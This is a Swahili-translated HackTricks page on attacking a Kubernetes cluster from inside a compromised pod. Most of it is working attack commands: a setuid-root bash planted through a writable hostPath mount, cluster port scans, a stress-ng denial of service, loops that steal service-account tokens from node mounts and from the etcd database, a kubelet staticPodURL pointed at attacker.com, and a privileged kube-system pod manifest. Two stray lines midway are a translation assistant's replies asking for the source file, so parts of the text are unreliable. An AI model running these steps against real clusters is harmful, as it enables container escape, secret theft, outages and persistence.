Kushambulia Kubernetes kutoka ndani ya Pod

Reading time: 18 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Pod Breakout

Ikiwa una bahati, unaweza kuweza kutoroka kutoka ndani yake hadi node:

Kutoroka kutoka kwenye pod

Ili kujaribu kutoroka kutoka kwenye pods unaweza kuhitaji kwanza escalate privileges, baadhi ya mbinu za kufanya hivyo:

Linux Privilege Escalation - HackTricks

Unaweza kuangalia hii docker breakouts to try to escape kutoka kwenye pod uliyodanganywa:

Docker Breakout / Privilege Escalation - HackTricks

Kutumia writable hostPath/bind mounts (container -> host root via SUID planting)

Ikiwa pod/container iliyoshambuliwa ina volume inayoweza kuandikwa ambayo inaenda moja kwa moja kwenye host filesystem (Kubernetes hostPath au Docker bind mount), na ukifanikiwa kuwa root ndani ya container, unaweza kutumia mount hiyo kuunda setuid-root binary kwenye host kisha kuitekeleza kutoka host ili kupata root.

Masharti muhimu:

  • Volume iliyopachikwa inaweza kuandikwa kutoka ndani ya container (readOnly: false na ruhusa za mfumo wa faili zinauruhusu kuandika).
  • Mfumo wa faili wa host unaounga mkono mount haujaunganishwa kwa chaguo la nosuid.
  • Una njia ya kuendesha binary ulioweka kwenye host (kwa mfano, SSH/RCE tofauti kwenye host, mtumiaji kwenye host anaweza kuutekeleza, au vector nyingine inayotekeleza binaries kutoka kwenye njia hiyo).

Jinsi ya kubaini hostPath/bind mounts zinazoweza kuandikwa:

  • Kwa kubectl, angalia hostPath volumes: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}'
  • Kutoka ndani ya container, orodhesha mounts na tazama host-path mounts kisha jaribu ikiwa zinaweza kuandikwa:
bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Weka setuid root binary kutoka kwenye container:

bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Endesha kwenye host ili kupata root:

bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes and troubleshooting:

  • Iwapo host mount ina nosuid, setuid bits zitasahaulika. Angalia mount options kwenye host (cat /proc/mounts | grep ) na tazama nosuid.
  • Ikiwa huwezi kupata host execution path, writable mounts zinazofanana zinaweza kutumika kuandika artifacts nyingine za persistence/priv-esc kwenye host ikiwa directory iliyomapwa ni muhimu kwa usalama (mfano, ongeza a root SSH key ikiwa mount inaonyesha ndani ya /root/.ssh, drop a cron/systemd unit ikiwa inaonyesha ndani ya /etc, badilisha binary inayomilikiwa na root katika PATH ambayo host itatekeleza, n.k.). Uwezekano unategemea kabisa ni path gani ime-mounted.
  • Teknik hii pia inafanya kazi na plain Docker bind mounts; katika Kubernetes kwa kawaida ni hostPath volume (readOnly: false) au subPath iliyopangwa vibaya.

Abusing Kubernetes Privileges

Kama ilivyoelezwa kwenye sehemu kuhusu kubernetes enumeration:

Kubernetes Enumeration

Kawaida pods zinaendeshwa zikiwa na service account token ndani yao. Service account hii inaweza kuwa na baadhi ya privileges attached to it ambazo unaweza abuse ili move kwenda pods nyingine au hata escape hadi nodes zilizowekwa ndani ya cluster. Angalia jinsi katika:

Abusing Roles/ClusterRoles in Kubernetes

Abusing Cloud Privileges

Ikiwa pod inaendesha ndani ya cloud environment unaweza kuwa na uwezo wa leak a token from the metadata endpoint na kuongeza privileges ukitumia hiyo.

Tafuta huduma za mtandao zilizo dhaifu

Kwa kuwa uko ndani ya Kubernetes environment, ikiwa huwezi kuongeza privileges kwa abusing privileges za pods za sasa na huwezi escape kutoka container, unapaswa search potential vulnerable services.

Huduma

Kwa madhumuni haya, unaweza kujaribu kupata huduma zote za kubernetes environment:

kubectl get svc --all-namespaces

Kama chaguo-msingi, Kubernetes inatumia mpangilio wa mtandao usio na safu, ambayo inamaanisha pod/service yoyote ndani ya cluster inaweza kuwasiliana na nyingine. namespaces ndani ya cluster hazina vikwazo vya usalama wa mtandao kama chaguo-msingi. Kila mtu ndani ya namespace anaweza kuwasiliana na namespaces nyingine.

Uchunguzi

Bash script ifuatayo (iliyochukuliwa kutoka kwenye Kubernetes workshop) itaweka na kuchunguza anuwai za IP za Kubernetes cluster:

bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Angalia ukurasa ufuatao ili ujifunze jinsi unavyoweza attack Kubernetes specific services ili compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

Iwapo compromised pod is running some sensitive service ambapo pods nyingine zinahitaji kuthibitisha, unaweza kuwa na uwezo wa kupata vielelezo vya uthibitisho zinazotumwa na pods nyingine kwa sniffing local communications.

Network Spoofing

Kwa chaguo-msingi mbinu kama ARP spoofing (na kwa hiyo DNS Spoofing) zinafanya kazi katika mtandao wa kubernetes. Ndani ya pod, ikiwa una NET_RAW capability (iliyopo kwa chaguo-msingi), utaweza kutuma paketi za mtandao zilizotengenezwa maalum na kufanya MitM attacks via ARP Spoofing to all the pods running in the same node.
Zaidi ya hayo, ikiwa malicious pod inaendesha kwenye same node as the DNS Server, utaweza kufanya DNS Spoofing attack to all the pods in cluster.

Kubernetes Network Attacks

Node DoS

Hakuna uainishaji wa rasilimali katika manifests za Kubernetes na not applied limit ranges kwa containers. Kama mshambuliaji, tunaweza consume all the resources where the pod/deployment running na kuiacha sehemu nyingine bila rasilimali, na kusababisha DoS kwa mazingira.

Hii inaweza kufanywa kwa kutumia zana kama stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Unaweza kuona tofauti kati ya wakati stress-ng inapoendesha na baada yake.

bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

If you managed to escape from the container there are some interesting things you will find in the node:

  • Mchakato wa Container Runtime (Docker)
  • Zaidi ya pods/containers zinazoendesha kwenye node ambazo unaweza abuse kama hii (more tokens)
  • Mfumo mzima wa filesystem na OS kwa ujumla
  • Huduma ya Kube-Proxy inayosikiliza
  • Huduma ya Kubelet inayosikiliza. Angalia faili za config:
  • Directory: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf --> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Faili nyingine za kawaida za kubernetes:
  • $HOME/.kube/config - Usanidi wa Mtumiaji
  • /etc/kubernetes/kubelet.conf- Usanidi wa Kawaida
  • /etc/kubernetes/bootstrap-kubelet.conf - Usanidi wa Bootstrap
  • /etc/kubernetes/manifests/etcd.yaml - Usanidi wa etcd
  • /etc/kubernetes/pki - Kifunguo cha Kubernetes

Pata kubeconfig ya node

Ikiwa huwezi kupata faili ya kubeconfig katika moja ya njia zilizotajwa hapo juu, angalia hoja --kubeconfig ya mchakato wa kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Kuiba Siri

bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Skripti can-they.sh itapata kwa otomatiki tokens za pods nyingine na kukagua kama zina permission unayotafuta (badala ya wewe kuangalia mmoja mmoja):

bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privileged DaemonSets

A DaemonSet ni pod ambayo itaendeshwa katika nodes zote za cluster. Kwa hivyo, ikiwa DaemonSet imewekwa na privileged service account, katika NODES ZOTE utaweza kupata token ya privileged service account hiyo ambayo unaweza kuitumia vibaya.

Pivot to Cloud

Ikiwa cluster inasimamiwa na huduma ya cloud, kawaida Node itakuwa na ufikiaji tofauti kwa metadata endpoint ikilinganishwa na Pod. Kwa hivyo, jaribu kupata ufikiaji wa metadata endpoint kutoka node (au kutoka kwa pod yenye hostNetwork to True):

Kubernetes Pivoting to Clouds

Steal etcd

Ikiwa unaweza kutaja nodeName ya Node ambayo itaendesha container, pata shell ndani ya node ya control-plane na upate etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Nodes za control-plane zina role master na katika cloud managed clusters huwezi kuendesha chochote ndani yao.

Soma secrets kutoka etcd 1

Ikiwa unaweza kuendesha pod yako kwenye node ya control-plane ukitumia selector nodeName katika pod spec, unaweza kupata ufikiaji rahisi wa database ya etcd, ambayo inajumuisha usanidi wote wa cluster, ikiwemo secrets zote.

Hapa chini kuna njia ya haraka na isiyo rasmi ya kuchukua secrets kutoka etcd ikiwa inakimbia kwenye node ya control-plane uliyopo. Ikiwa unataka suluhisho la kisanii ambalo linazindua pod yenye utility ya client ya etcd, etcdctl, na linatumia credentials za node ya control-plane kuungana na etcd mahali popote linapokimbia, angalia this example manifest from @mauilion.

Angalia kama etcd inakimbia kwenye node ya control-plane na uone ni wapi database iko (Hii ni kwenye cluster iliyoundwa na kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Sina ufikiaji wa faili hiyo. Tafadhali limeshereheni yaliyomo ya markdown kutoka src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md ambavyo ungependa nitafsiri kwa Kiswahili.

bash
data-dir=/var/lib/etcd

Tazama data kwenye database ya etcd:

bash
strings /var/lib/etcd/member/snap/db | less

Chukua tokens kutoka kwenye database na onyesha jina la service account

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Amri ile ile, lakini greps kadhaa ili kurudisha tu default token katika kube-system namespace

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Nahitaji yaliyomo ya faili "attacking-kubernetes-from-inside-a-pod.md" ili niweke tafsiri. Tafadhali paste-isha au upload copy ya markdown unayotaka nitafsiri. Nitahifadhi code, links, paths, na tags bila kutafsiri.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Soma siri kutoka etcd 2 from here

  1. Tengeneza snapshot ya database ya etcd. Angalia this script kwa maelezo zaidi.
  2. Hamisha snapshot ya etcd kutoka kwenye node kwa njia unayoipendelea.
  3. Fungua hifadhidata:
bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Anzisha etcd kwenye mashine yako ya ndani na uifanye itumie snapshot iliyoporwa:
bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Orodhesha secrets zote:
bash
etcdctl get "" --prefix --keys-only | grep secret
  1. Pata secfrets:
bash
etcdctl get /registry/secrets/default/my-secret

Uhifadhi wa Static/Mirrored Pods

Static Pods zinadhibitiwa moja kwa moja na daemon ya kubelet kwenye node maalum, bila API server kuzipitia. Tofauti na Pods zinazodhibitiwa na control plane (kwa mfano, a Deployment); badala yake, kubelet inatazama kila static Pod (na kuianzisha upya ikiwa itaanguka).

Kwa hiyo, static Pods huwa zimefungwa kwa Kubelet moja kwenye node maalum.

The kubelet automatically tries to create a mirror Pod on the Kubernetes API server kwa kila static Pod. Hii inamaanisha kuwa Pods zinazokimbia kwenye node zinaonekana kwenye API server, lakini hazinaweza kudhibitiwa kutoka huko. Majina ya Pod yataongezwa mwisho kwa hostname ya node, pamoja na hyphen (dash) mwanzoni.

caution

The spec of a static Pod cannot refer to other API objects (mfano, ServiceAccount, ConfigMap, Secret, etc. So you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).

Iwapo uko ndani ya host ya node unaweza kuifanya iunde static pod ndani yake mwenyewe. Hii ni muhimu sana kwa sababu inaweza kukuruhusu kuunda pod katika namespace tofauti kama kube-system.

Ili kuunda static pod, the docs are a great help. Kimsingi unahitaji vitu 2:

  • Sanidi parameter --pod-manifest-path=/etc/kubernetes/manifests katika kubelet service, au katika kubelet config (staticPodPath) kisha anzisha tena service
  • Unda ufafanuzi wa pod katika /etc/kubernetes/manifests

Njia nyingine ya usiri zaidi ingekuwa:

  • Badilisha parameter staticPodURL kwenye faili ya config ya kubelet na weka kitu kama staticPodURL: http://attacker.com:8765/pod.yaml. Hii itafanya mchakato wa kubelet kuunda static pod ukipata configuration kutoka kwenye URL iliyotajwa.

Example of pod configuration to create a privilege pod in kube-system taken from here:

yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Futa pods + nodes zisizoweza kupangishwa

Ikiwa mshambuliaji amecompromised a node na anaweza delete pods kutoka kwa nodes nyingine na make other nodes not able to execute pods, pods zitatumika tena kwenye node iliyovamiwa na atakuwa na uwezo wa steal the tokens zinazokimbia ndani yao.
Kwa maelezo zaidi fuata kiungo hiki.

Vifaa vya Otomatiki

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks